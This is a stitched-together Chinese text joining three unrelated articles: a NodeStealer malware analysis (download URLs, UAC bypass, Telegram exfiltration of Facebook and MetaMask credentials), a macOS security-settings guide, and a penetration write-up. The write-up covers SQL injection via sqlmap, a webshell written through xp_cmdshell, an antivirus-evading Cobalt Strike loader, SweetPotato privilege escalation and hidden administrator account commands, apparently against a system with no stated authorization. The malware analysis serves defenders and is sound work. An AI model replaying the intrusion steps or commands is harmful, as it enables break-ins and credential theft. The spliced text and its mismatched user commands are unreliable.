然後惡意軟件通過Telegram洩露輸出文件並刪除文件以消除其踪跡:

6.png

通過Telegram盜取

7.png

跟踪並刪除NodeStealer

下載其他惡意軟件變體#1被配置為從以下URL下載兩個.zip文件:

hxxps://tinyurl[.]com/batkyc,重定向到hxxp://adgowin66[.]site/ratkyc/4/bat.zip;

hxxps://tinyurl[.]com/ratkyc2,重定向到hxxp://adgowin66[.]site/ratkyc/4/ratkyc.zip;

Bat.zip包含禁用Windows Defender的ToggleDefender批處理腳本,Ratkyc.zip包含三個惡意軟件:

名為COM Surrogate.exe的BitRAT;

一種名為Antimalware Service Executable.exe的隱藏虛擬網絡計算(hVNC)RAT;

XWorm命名的Windows Tasks.exe主機進程;

為了下載.zip文件,惡意軟件實現了FodHelper UAC繞過。使用此方法,攻擊者試圖繞過用戶帳戶控制(UAC)並執行用於下載上述zip文件的PowerShell腳本。

8.png

FodHelper UAC繞過NodeStealer中的編碼命令

base64壓縮後的命令翻譯如下:

9.png

以下是當Cortex XDR設置為僅檢測模式時,變體#1的執行流程:

10.png

變體#1的執行流程,如Cortex XDR中所示,設置為僅檢測模式

下載並提取文件後,NodeStealer通過註冊表運行鍵為三個惡意軟件(BitRAT、hVNC RAT和XWorm)以及自己的二進製文件(word.exe)設置持久性。

通過GUI禁用Windows Defender除了ToggleDefender批處理腳本之外,變體#1還使用了另一種技術來禁用Windows Defender,這次使用的是GUI。這是一種非常嘈雜的方法,因為最終用戶將能夠看到Windows Defender GUI在設備上彈出,並且惡意軟件會將其禁用。

用於打開GUI和禁用WindowsDefender的命令如下圖所示。

11.png

用於禁用Windows Defender的命令

MetaMask竊取該惡意軟件還試圖通過竊取Chrome、Cốc Cốc和Brave瀏覽器的MetaMask證書來實現經濟利益最大化。

MetaMask是通過瀏覽器訪問以太坊錢包的擴展。通過竊取此應用程序的憑證,攻擊者可以從用戶的錢包中竊取加密貨幣。

正如它在竊取Facebook cookie和憑證時所做的那樣,該惡意軟件提取了用於存儲瀏覽器信息的本地數據庫。它在其中搜索擴展nkbihfbeogaeaeahlefnkodbefgpgknn,這是直接從擴展庫安裝MetaMask時的擴展。

然後,惡意軟件將數據複製到一個文件中,並使用Telegram將其洩露出去,就像它對Facebook憑證所做的那樣。

12.png

從Brave瀏覽器竊取MetaMask憑證

變體#2分析該活動中的第二個版本內部命名為MicrosofOffice.exe,並與第一個版本一樣使用Nuitka進行編譯。但與第一種變體不同,它不會對毫無戒心的用戶產生大量可見的活動。對於這種變體,攻擊者使用了產品名稱“Microsoft corporation”(最初是惡意軟件開發者拼錯的)。

13.png

變體#2的元數據偽裝成MicrosofOffice.exe

主要功能與第一個變體一樣,變體#2以Facebook商業賬戶信息和MetaMask錢包為目標,但它的功能更近一步:

試圖接管Facebook帳戶;

實現反分析功能;

竊取電子郵件;

接管Facebook帳戶;

變體#2試圖購買由合法越南網站(hotmailbox[.]me)提供的在線電子郵件服務。

它試圖使用一個嵌入式API密鑰來實現這一點,該密鑰保存特定服務的信用餘額:https://api.hotmailbox[.]me/mail/buy?apikey=mailcode=HOTMAILquantity=1。

14.png

向hotmailbox[.]me購買郵箱服務

15.png

惡意軟件使用的API密鑰的信用餘額

如果購買嘗試失敗,惡意軟件再次嘗試使用持有專用信用餘額的API密鑰從另一個越南網站(dongwanfb[.]net)購買郵箱服務:https://api.dongvanfb[.]net/user/buy?apikey=

16.png

向dongvanfb[.]net購買郵箱服務

如果購買嘗試成功,惡意軟件將保存新郵箱的電子郵件和密碼,這些郵箱將在活動的下一階段使用。

接下來,惡意軟件使用不需要驗證密碼的技術修改受害者Facebook商業帳戶的帳戶電子郵件地址,使用以下URL: https://www.facebook[.]com/add_contactpoint/dialog/submit/。

如果需要,惡意軟件會通過電子郵件向https://getcode.hotmailbox[.]me地址發送獲取Facebook驗證碼的請求。

17.png

用於向hotmailbox[.]me請求Facebook身份驗證碼的代碼

然後,惡意軟件檢查更新後的電子郵件,查看修改是否成功:

18.png

查看Facebook賬戶的更新郵件

如果成功,攻擊者現在已經通過將合法用戶的電子郵件地址替換為他們控制的郵箱來接管Facebook帳戶。

讀取電子郵件此外,該惡意軟件還具有解析電子郵件的功能,因此它可以讀取受害者的電子郵件。雖然我們沒有直接觀察到此類活動,但攻擊者添加此功能可能會干擾任何通知受害者配置更改的Facebook警報。

19.png

負責讀取電子郵件的功能

反分析和反虛擬機的功能在分析的變體#2的幾個樣本中,攻擊者添加了一個簡單的功能來檢查是否存在惡意軟件分析工具和虛擬機進程。如果其中一個正在系統上運行,惡意軟件就會自行終止。

20.png

反分析和反虛擬機的功能

NodeSteiner變體之間的差異如上所述,本文分析的NodeStealer的兩個變體之間有相似之處,但也有許多不同之處。下表比較了Meta報告的版本中NodeStealer的主要功能,以及不同變體中的主要功能:

21.png

NodeSteiner變體之間的差異比較

越南攻擊者有趣的是,Ducktail和NodeStealer之前都被Meta懷疑是來自越南的攻擊者。 NodeStealer惡意軟件與越南攻擊者之間的可疑聯繫可以用不同的方式解釋。

第一個可能表明這種聯繫的發現是,在本文分析的兩個變體的Python腳本中,我們遇到了許多越南語字符串。

22.png

在NodeStealer中找到的字符串“TongChiTieu”的翻譯

23.png

在NodeStealer中找到的字符串“ThoiGianCheck”的翻譯

懷疑與越南攻擊者有聯繫的第二個跡像是,攻擊者的目標是一個名為Cốc Cốc的瀏覽器,該瀏覽器在其“關於我們”頁面上自稱為“越南人民的網絡瀏覽器和搜索引擎”。

24.png

如上所述,在變體#2中發現了疑似越南人與NodeStealer有關的第三個跡像是,這種變體試圖從兩個不同的越南網站(Hotmailbox[.]me和Dongvanfb[.]net)購買在線郵箱服務。

總結在這篇文章中,我們發現了一個針對Facebook商業賬戶的NodeStealer惡意軟件活動。作為活動的一部分,我們發現了NodeStealer的兩個變體,變體#1和變體#2。對這兩種變體的分析揭示了惡意軟件的一些有趣功能,所有這些都可能增加攻擊者的潛在經濟利益。

這名被懷疑來自越南的攻擊者為新變種提供了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

緩解措施1.Facebook鼓勵企業賬戶所有者使用強密碼並啟用多因素身份驗證;

2.企業使用基於雲的威脅分析服務可以準確地識別出這些樣本是惡意的,具體包括:

2.1 通過URL過濾和DNS安全將與該組織關聯的URL和域識別為惡意;

2.2 具有高級威脅防護安全訂閱的下一代防火牆;

2.3 分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。

在處理macOS 相關項目時,您的開發和質量保證(QA) 團隊必須考慮許多細微差別以交付安全的應用程序。例如,您需要確保您的應用程序適用於所有可能的macOS 安全配置。您必須了解這些功能在特定版本的macOS 中如何工作、管理員如何配置它們,以及如何通過各種macOS 安全配置確保解決方案的穩定性能。

在本文中,我們概述了八個關鍵的macOS 安全配置,展示瞭如何使用它們來保護macOS 設備,並解釋了開發安全的macOS 應用程序時應考慮的事項。

本文對於從事macOS 開發項目、希望更深入地了解macOS 安全功能的IT 工程師非常有用。

1. 設置用戶帳戶在macOS 中,您可以選擇具有不同權限級別的四種類型的用戶帳戶。這些權限可以允許或阻止使用不同操作系統功能的能力。

在macOS 中,您可以創建以下帳戶類型:

行政。管理員擁有所有可能的訪問權限。他們可以更改任何macOS 配置、安裝和刪除應用程序、創建和管理用戶帳戶等。您在macOS 中創建的第一個用戶將屬於管理員類型。一台設備上可以有多個管理員。

標準。標準用戶可以管理自己的設置、使用主文件夾中的文件和文件夾以及下載系統更新但不能安裝它們。標準用戶無法安裝和刪除應用程序、更改其他用戶的配置文件或編輯系統首選項(例如網絡和安全首選項窗格中的首選項)。您可以將標準用戶帳戶升級為管理員帳戶。

僅供分享。僅共享帳戶的用戶唯一可以做的就是遠程訪問共享文件。他們無法登錄macOS 中的個人用戶配置文件。

客人。每個系統只有一個訪客用戶帳戶,無需密碼即可登錄。訪客無法更改任何設備或操作系統設置、管理用戶或遠程登錄。當訪客註銷時,他們創建的所有數據都將被刪除。

要管理用戶,請以管理員身份打開“系統偏好設置”中的“用戶和組”偏好設置窗格。您將看到用戶列表及其帳戶類型。如果您想更改用戶帳戶,請單擊鎖定圖標並輸入管理員密碼:

image.png

圖1. 訪問“用戶和組”首選項窗格

要將標準用戶升級為管理員,請選中“允許用戶管理此計算機”選項。您可以通過取消選中此框將管理員用戶降級為標準用戶。

image.png

圖2. 將標準用戶帳戶升級為管理員帳戶

單擊訪客用戶管理設備的訪客帳戶:

image.png

圖3. 在macOS 中管理來賓用戶帳戶

要創建新用戶,請單擊“用戶和組”首選項窗格左下角的加號按鈕,然後填寫帳戶創建表單:

image.png

圖4. 創建新用戶帳戶

如果要刪除用戶帳戶,請選擇要刪除的帳戶,單擊“用戶和組”窗格左下角的減號按鈕,然後確認要刪除該帳戶:

image.png

圖5. 刪除用戶帳戶

根據用戶角色和需求配置用戶帳戶通常有助於提高網絡和應用程序的安全性,但在以下情況下應特別注意帳戶創建:

該設備可供多人使用。如果許多人都可以訪問存儲敏感信息的系統,您需要保護它免受未經授權的訪問和內部威脅。實現此目的的一種方法是創建具有所需訪問級別的不同用戶帳戶。例如,您可以允許用戶讀取數據並查看系統設置,但只允許系統管理員更改數據和設置。

組織擁有該設備。當組織為員工提供工作計算機時,它可能會限制用戶訪問設備設置的權限並使用組策略控制此類設備。 macOS 允許管理員通過創建具有訪問限制的用戶帳戶來執行此操作。

該設備有多種使用場景。用戶可以使用同一台計算機執行多種任務:編寫代碼、創建內容、觀看電影等。為每項任務創建單獨的用戶帳戶可以幫助根據特定的使用場景自定義設備和應用程序設置。

多種類型的用戶帳戶意味著開發人員必須測試其應用程序如何與所有帳戶配合使用。 QA 團隊應驗證具有不同訪問權限的應用程序的安裝、執行和卸載。

假設您的應用程序中有一項功能僅適用於管理員權限。要檢查此功能的工作原理,您需要首先使用管理員配置文件進行測試。然後,以標準用戶身份運行相同的功能,並且不授予應用程序所需的權限。在這種情況下,該功能將不起作用,但應用程序應該可以繼續順利運行。此外,在這種情況下,應用程序可能會顯示特殊通知,例如feature 需要管理員訪問權限。

QA 工程師應將有關此類訪問請求的信息添加到應用程序日誌中,以幫助開發團隊定位可能出現的任何問題。

2.限制屏幕時間macOS 管理員可以通過配置屏幕時間限制來限制用戶對某些應用程序的訪問。此功能允許配置計算機停機時間、應用程序限制以及內容和隱私限制。開發應用程序時,請確保您了解此功能的工作原理以及您的應用程序在屏幕時間限制下應如何運行。

您可以通過登錄新帳戶並在“系統偏好設置”中打開“屏幕時間”窗格來限制用戶屏幕時間。然後,選擇選項並打開該功能。下一步是啟用“使用屏幕時間密碼”。時間密碼是忽略屏幕時間限製或更改屏幕時間設置所需的四位數代碼。

image.png

圖6. 為用戶啟用屏幕時間限制

通過屏幕時間限制,您還可以定義哪些應用程序在特定時間段內可用。進入“停機時間”選項卡可設置系統停機時間、開啟功能並設置計劃。

image.png

圖7. 配置系統停機時間

然後,轉到“應用程序限制”首選項窗格來設置應用程序的每日時間限制。選擇一個應用程序並設置限制。當超過限制時,應用程序將被阻止。

image.png

圖8. 配置應用程序停機時間

您可以在“始終允許”選項卡中選擇在停機期間不應阻止的應用程序。

image.png

圖9. 選擇不應阻止的應用程序

此功能還允許您阻止露骨和成人內容,並為帳戶設置隱私設置。您可以在“內容和隱私”首選項窗格中執行此操作。

image.png

圖10. 配置帳戶隱私設置

如果用戶嘗試訪問被阻止的網站,他們會看到一條警告消息。僅當他們知道屏幕時間密碼時,他們才能將此網站添加到批准列表中。

當您為應用程序配置屏幕時間限制並且這些限制處於活動狀態時,用戶將看到一個陰影圖標。

image.png

圖11. 具有活動屏幕時間限制的應用程序的圖標帶有陰影

當用戶嘗試啟動被阻止的應用程序時,他們會看到有關達到時間限制的警告。此時,他們可以再獲得一分鐘的時間來完成任務,或者輸入“屏幕時間”密碼來解鎖應用程序。

macOS 應用程序開發人員在開發產品時還必須注意屏幕時間阻塞。特別是,請務必檢查:

屏幕時間可以停止您的應用程序,而不會出現任何崩潰或致命錯誤

如果用戶請求再延長一分鐘或輸入屏幕時間密碼,則可以繼續使用您的應用程序

當應用程序在停機後解除阻止時,用戶可以使用該應用程序

應用程序的計劃進程和後台進程按屏幕時間限制按預期工作

屏幕時間的內容和隱私設置中有很多不同的限制。確保檢查它們不會使您的應用程序崩潰。例如,如果您正在開發可以阻止成人網站的網絡流量過濾器,請通過內容和隱私限制對此類網站的訪問,並檢查您的應用程序的工作方式。如果您正在開發視頻內容應用程序,請限制對成人電視節目的訪問,然後嘗試在應用程序內觀看它們。如果您正在開發視頻遊戲,您可以限制對在線遊戲的訪問並嘗試在線玩。

3.使用Gatekeeper檢查開發者IDGatekeeper 是一項保護macOS 免受不受信任應用程序侵害的功能。 macOS 用戶可以在系統偏好設置的安全和隱私部分中將其係統配置為允許或阻止來源未知和可疑的應用程序的執行。

圖12. 為應用程序配置可信源

用戶可以允許其設備僅使用從App Store 下載的應用程序。它是最值得信賴的下載來源,因為Apple 會在應用程序在App Store 上發布之前對其安全性進行審查。如果應用程序有任何問題,Apple 會將其從商店中刪除。

如果用戶嘗試打開不是從App Store 下載的應用程序,他們將看到以下消息:

image.png

圖13. 嘗試啟動從不受信任的來源下載的應用程序

還有一個選項允許從App Store 和指定的開發人員啟動應用程序。在這種情況下,macOS 將檢查應用程序的開發者ID 和公證,以確保其安全。當應用程序安裝時以及每次啟動時,Gatekeeper 都會檢查證書。

如果證書無效,則無法安裝應用程序。如果已安裝的應用程序是在證書有效時編譯的,則用戶可以執行該應用程序,即使證書已過期。如果開發者ID 配置文件已過期,則無法執行應用程序。

這就是為什麼每個應用程序都應該使用開發者ID 證書進行簽名。要獲得此類證書,您必須得到Apple 的認可並成為Apple 開發者計劃的一部分。開發者ID 證書自創建之日起五年內有效,因此請務必定期更新您的開發者ID。

任何應用程序還應該經過公證才能受到macOS 的信任。 Apple 公證服務是一個自動化流程,可掃描應用程序中是否存在惡意內容。如果沒有發現問題,它會允許macOS 運行該應用程序。為了檢查公證權限,Gatekeeper 連接到Apple 數據庫並蒐索該應用程序。

如果設備允許用戶運行從已識別的開發人員處下載的應用程序,Gatekeeper 仍會顯示一條警告消息,並附有註釋,說明Apple 檢查了該設備是否存在惡意軟件,但未檢測到任何惡意軟件,並且它將允許用戶打開該應用程序。

image.png

圖14. 啟動經過Apple 驗證的第三方應用程序

如果用戶嘗試運行不受信任的應用程序,他們將看到以下消息:

image.png

圖15. 啟動不受信任的應用程序

管理員可以通過在“安全和隱私”首選項窗格中設置相應的權限來允許用戶運行不受信任的應用程序。

image.png

圖16. 允許來自不受信任來源的應用程序

當您需要測試尚未受信任的應用程序並且您不想更改安全首選項時,Gatekeeper 可能會很麻煩。您可以使用以下命令忽略Gatekeeper 安全功能:

image.png

spctl 是一個可用於與Gatekeeper 通信的應用程序。它將Anywhere選項添加到安全和隱私設置中。這意味著您將能夠執行任何應用程序。

image.png

圖17. 允許安裝任何來源的應用程序

注意:我們強烈建議您不要禁用任何安全功能,除非您確定自己在做什麼!

您可以使用以下命令驗證應用程序的開發者ID 和公證:

image.png

如果您的應用程序由有效的開發者ID 簽名並具有有效的公證,則該命令將返回消息經過公證的開發者ID和開發者的信息。例如,讓我們檢查Google Chrome 應用程序:

image.png

圖18. 檢查Google Chrome 的開發者ID 和公證

如您所見,Google Chrome 受到macOS 的信任。

如果您感興趣的應用程序是由受信任的開發人員創建的,但未經公證,您將不會在源字段中看到“已公證”一詞:

image.png

圖19. 檢查未公證應用程序的開發者ID 和公證

如果應用程序甚至沒有開發人員ID 簽名,您將看到一條無可用簽名消息:

image.png

圖20. 在沒有可信開發人員簽名的情況下檢查應用程序

在交付任何macOS 產品之前,請使用上面列出的命令檢查應用程序的開發者ID 和公證。它將幫助您的最終用戶避免啟動應用程序時可能出現的問題。您還可以從任何互聯網資源下載應用程序的安裝程序並安裝它以模擬用戶體驗。

在下篇文章中,我們將介紹管理防火牆中的外部連接、指定應用程序的隱私訪問權限、配置鑰匙串訪問等問題。

我们找到一个带有有漏洞的QP后台框架的后台

图片

这个框架有很多的漏洞,比如用户遍历,我们如果输入一个存在的用户,密码错误时,就会提示用户或密码错误,如果我们输入一个不存在的用户,就会提示用户不存在

除此之外,网站还会存在SQL注入漏洞,我们只需要抓一个提交账号密码的POST包

图片

粘贴好一个txt文档然后丢进sqlmap,

图片

是mssql,我们可以开启xp_cmdshell,这里我们打算写入webshell,所以先os-shell判断出路径(超级慢)

图片

然后利用xp_cmdshell写入webshell

图片成功上线

然后我打算上线cs进行下一步操作,尝试了web传递,但是被杀软拦住了

图片

很烦,没办法,只能尝试免杀上线,这里我用的免杀方法是分离免杀

图片

生成payload,然后写一个shellloader并且base64编译一下

我把shellcode放到了vps上

图片

把shellloader上传到目标

图片

一,二,三上线!

图片

没错,低权用户,多次尝试提权都不成功,最后还是sweetpotato拿下了

图片


拿到了我最爱的system

添加用户

net user admin$ admin@123 /add

添加到管理员组

net localgroup administrators test /add

直接3389连接

图片

拿到远程桌面本来打算fscan扫一下的,但是发现内网的ip和平常不一样,扫了一下发现出现很多主机,于是判断这是一个vps,故渗透到此为止。



转载于原文链接: https://mp.weixin.qq.com/s/ch3zcIlUPpZ8tjCJttwarQ